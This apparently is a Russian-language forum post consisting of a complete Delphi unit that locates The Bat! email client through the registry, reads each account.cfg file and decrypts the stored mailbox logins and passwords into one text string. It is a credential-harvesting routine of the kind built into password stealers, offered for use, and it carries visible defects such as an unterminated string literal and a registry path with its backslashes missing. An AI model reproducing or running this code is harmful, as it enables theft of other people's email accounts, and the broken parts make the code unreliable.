[Delphi] Дешифруем пароли The Bat

[WestSide]

unit BatDecrypt; 
interface 

uses 
 Windows; 

function GetBatPass:string;//Основная функция, возвращающая аккаунты 

implementation 

const //Константа для расшифровки 
  b64alphabet2: PChar = '+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; 

function SHGetSpecialFolderPath(hwndOwner:HWND;lpszPath:PChar;nFolder:Integer;fCreate:BOOL):BOOL;stdcall; external 'shell32.dll' name 'SHGetSpecialFolderPathA'; 
var 
 PopServ,Mail,Name,Pass:string;//Переменные для получения информации 

function DecodeBaseTB(Value: String): String;//Собственно декодирование 
  function DecodeChunk(const Chunk: String): String;//Вложенная функция 
  var 
    W: LongWord; 
    i: Byte; 
  begin 
    W := 0; Result := ''; 
    for i := 1 to 4 do 
      if Pos(Chunk[i], b64alphabet2) <> 0 then 
        W := W + Word((Pos(Chunk[i], b64alphabet2) - 1)) shl ((4 - i) * 6); 
    for i := 1 to 3 do 
        Result := Result + Chr(W shr ((3 - i) * 8) and $ff); 
  end; 
begin 
  Result := ''; 
  if Length(Value) mod 4 <> 0 then Exit; 
  while Length(Value) > 0 do begin 
    Result := Result + DecodeChunk(Copy(Value, 0, 4)); 
    Delete(Value, 1, 4); 
  end; 
end; 

function DecryptTheBatPass(const Value: String): String;//Расшифровка пароля 
var 
  S: String; 
  i: Integer; 
  Len: Integer; 
begin 
  Result := 'нет'; 
  S := DecodeBaseTB(Value); 
  if Length(S) < 4 then Exit; 
  for i := 1 to 4 do S[i] := Chr($FF - Ord(S[i])); 
  Len := PDWord(@S[1])^; 
  Delete(S, 1, 4); 
  for i := 1 to Length(S) do S[i] := Chr(Ord(S[i]) xor $5A); 
  Result := ''; 
  for i := Len downto 1 do Result := Result + S[i]; 
end; 

function ReadTheBatStrProperty(hFile: DWORD):string;//Считывание из файла акаунта 
var 
 bRead: DWORD; 
 buf:cardinal; 
 szBuffer: array[0..255] of Char; 
begin 
  fillchar(szBuffer,sizeof(szBuffer),#0);  //Чистим буфер 
  ReadFile(hFile,buf,4,bRead,nil);        //Читаем длину 
  ReadFile(hFile,szBuffer,buf,bRead,nil);//Читаем буфер 
  result:=szBuffer;                     //Передаём инфу 
end; 

procedure GetAccountPassword(lpPath:PChar);//Получение ящика,pop сервера,имени пользователя,пароля 
var 
 hFile, dwSeq, dwLen, bRead: DWORD; 
 q:integer; 
begin 
  Mail:='';Name:='';Pass:='';PopServ:=''; 
  hFile:=CreateFile(lpPath,GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);//Проверяем существует ли файл 
  if hFile=INVALID_HANDLE_VALUE then Exit;//Если нету, то выходим 
  //Читаем акаунты 
  for q:=0 to 31 do 
  begin 
    ReadFile(hFile,dwSeq, 4,bRead,nil);//Считываем данные 
    ReadFile(hFile,dwLen,4,bRead,nil);//Считываем длину 
    case dwSeq of//Определяем какие данные считали 
     $02:Mail:=ReadTheBatStrProperty(hFile);//Ящик 
     $0B:PopServ:=ReadTheBatStrProperty(hFile);//pop сервер 
     $0F:begin 
           Name:=ReadTheBatStrProperty(hFile);//читаем имя пользователя 
           Name:=DecryptTheBatPass(Name)     //Расшифровываем 
         end; 
     $10:begin 
           Pass:=ReadTheBatStrProperty(hFile);//Получаем пароль 
           Pass:=DecryptTheBatPass(Pass);    //Расшифровываем 
         end; 
     else SetFilePointer(hFile,dwLen,nil,FILE_CURRENT);//Перемещаем каретку дальше 
    end; 
  end; 
  CloseHandle(hFile); 
end; 

function GetTheBatPasswords(szPath:string):string;//Получение паролей 
var 
 FindFileData:WIN32_FIND_DATA; 
 hFind: DWORD; 
 Ender:longbool; 
begin 
  hFind:=FindFirstFile(PChar(szPath+'*.*'),FindFileData);//Начинаем поиск файла 
  if hFind<>INVALID_HANDLE_VALUE then                   //Если нашли account.cfg 
  begin 
    repeat 
      GetAccountPassword(PChar(szPath+FindFileData.cFileName+'\account.cfg'));//Получаем данные из файла 
      if (Mail<>'') and (Pass<>'') then result:=result+'Mail('+Mail+'):Pop('+PopServ+'):User('+Name+'):Pass('+Pass+'); '; 
      Ender:=FindNextFile(hFind,FindFileData);//Продолжаем поиск 
    until ender=false;                       //Продолжаем или нет 
    FindClose(hFind); 
  end; 
end; 

function GetBatPass:string;//Основная функция 
var 
 Len:integer; 
 Reg:HKey; 
 St: string; 
 procedure Null; 
 begin 
   SetString(St, nil, 260);//устанавливаем длину строки 
   Len:=MAX_PATH;         //Задаём длину 
 end; 
begin 
  result:=''; 
  //Проверяем HKCU->Software->RIT->Working Directory 
  RegOpenKeyEx(HKEY_CURRENT_USER,'SOFTWARE\RIT\The Bat!',0,KEY_QUERY_VALUE,Reg);//Читаем путь к бату 
  if Reg=0 then Exit;//Если нету, то косяк... 
  Null; 
  if RegQueryValueEx(Reg,'Working Directory',nil,nil,PByte(St),@Len)=0 then//Берём рабочую папку бата 
  begin 
    if St[1]='%' then 
    begin 
      Null;             //Обнуляем буфер 
      if RegQueryValueEx(Reg,'ProgramDir',nil,nil,PByte(St),@Len)=0 then//Берём папку бата 
        Result:=GetTheBatPasswords(PChar(St)+'MAIL\');                 //Берём инфу из account.cfg 
      if RegOpenKeyEx(HKEY_CURRENT_USER,'SoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders',0,KEY_QUERY_VALUE,Reg)=0 then 
      begin 
        Null; 
        if RegQueryValueEx(Reg,'AppData',nil,nil,PByte(St),@Len)=0 then//Берём папку для приложений 
          Result:=Result+GetTheBatPasswords(PChar(St)+'The Bat!); 
      end; 
    end 
    else Result:=GetTheBatPasswords(PChar(St));                    //Берём инфу из account.cfg 
  end; 
  RegCloseKey(Reg);                                       //Закрываем реестр 
end; 

end.

Memo1.Lines.Add(GetBatPass);